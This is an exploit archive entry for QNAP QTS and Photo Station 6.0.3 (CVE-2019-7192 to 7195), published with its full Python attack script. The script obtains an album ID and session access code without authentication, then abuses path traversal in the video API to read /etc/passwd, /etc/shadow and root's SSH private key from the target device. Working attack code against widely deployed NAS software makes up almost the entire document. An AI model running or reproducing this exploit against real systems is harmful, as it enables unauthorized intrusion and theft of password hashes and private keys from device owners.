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QNAP QTS And Photo Station 6.0.3 Remote Command Execution

QNAP QTS And Photo Station 6.0.3 Remote Command Execution
Posted May 28, 2020
Authored by Yunus YILDIRIM

QNAP QTS and Photo Station version 6.0.3 suffers from a remote command execution vulnerability.

tags | exploit, remote
advisories | CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195
MD5 | afb5585d8c59cf2f3858a646d14474b6

QNAP QTS And Photo Station 6.0.3 Remote Command Execution

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# Exploit Title: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution
# Exploit Author: Yunus YILDIRIM (Th3Gundy)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Date: 2020-05-28
# Vendor Homepage: https://www.qnap.com
# Version: QTS < 4.4.1 | Photo Station < 6.0.3
# CVE: CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195
# References: https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit
# References: https://medium.com/@cycraft_corp/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e
# References: https://www.qnap.com/zh-tw/security-advisory/nas-201911-25

######################################################################
######################################################################

#!/usr/bin/python3

__author__ = "Yunus YILDIRIM (@Th3Gundy)"
__version__ = "0.1"


import requests
import re, sys

# hide ssl error
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def get_banner():
print("""\033[91m
█████ ███▄ █ ▄▄▄ ██▓███
▒██▓ ██▒ ██ ▀█ █ ▒████▄ ▓██░ ██▒
▒██▒ ██░▓██ ▀█ ██▒▒██ ▀█▄ ▓██░ ██▓▒
░██ █▀ ░▓██▒ ▐▌██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒
░▒███▒█▄ ▒██░ ▓██░ ▓█ ▓██▒▒██▒ ░ ░
░░ ▒▒░ ▒ ░ ▒░ ▒ ▒ ▒▒ ▓▒█░▒▓▒░ ░ ░
░ ▒░ ░ ░ ░░ ░ ▒░ ▒ ▒▒ ░░▒ ░
░ ░ ░ ░ ░ ░ ▒ ░░
░ ░ ░ ░ \033[0m \033[94m {0} \033[0m
""".format(__author__))


def get_file_content(file):
post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file}
file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10)

print("="*65) ; print("{0} file content;\n{1}" .format(file,file_read_response.text))

# print banner
get_banner()

if len(sys.argv) != 2:
print("\033[93mUsage : python3 gundy.py https://vulnerable_url:port\033[0m")
sys.exit(-1)

url = sys.argv[1].rstrip('/')
headers = {"User-Agent": "Gundy - QNAP RCE"}

# for session cookie
req = requests.Session()

#######################################################################
# search album_id

print("="*65)
post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'}
album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10)

if album_id_response.status_code != 200:
print("album id not found \n\033[91mnot vulnerable\033[0m")
sys.exit(0)

album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group()

print("album_id ==> " + album_id)

#######################################################################
# search $_SESSION['access_code']

access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10)
if access_code_response.status_code != 200:
print("slideshow not found \n\033[91mnot vulnerable\033[0m")
sys.exit(0)

access_code = re.search("(?<=encodeURIComponent\\(').*?(?=')", access_code_response.text).group()

print("access_code ==> " + access_code)

#######################################################################

# /etc/passwd file read
get_file_content('./../../../../../etc/passwd')

# /etc/shadow read
get_file_content('./../../../../../etc/shadow')

# /etc/hostname read
get_file_content('./../../../../../etc/hostname')

# /root/.ssh/id_rsa read
get_file_content('./../../../../../root/.ssh/id_rsa')

#######################################################################
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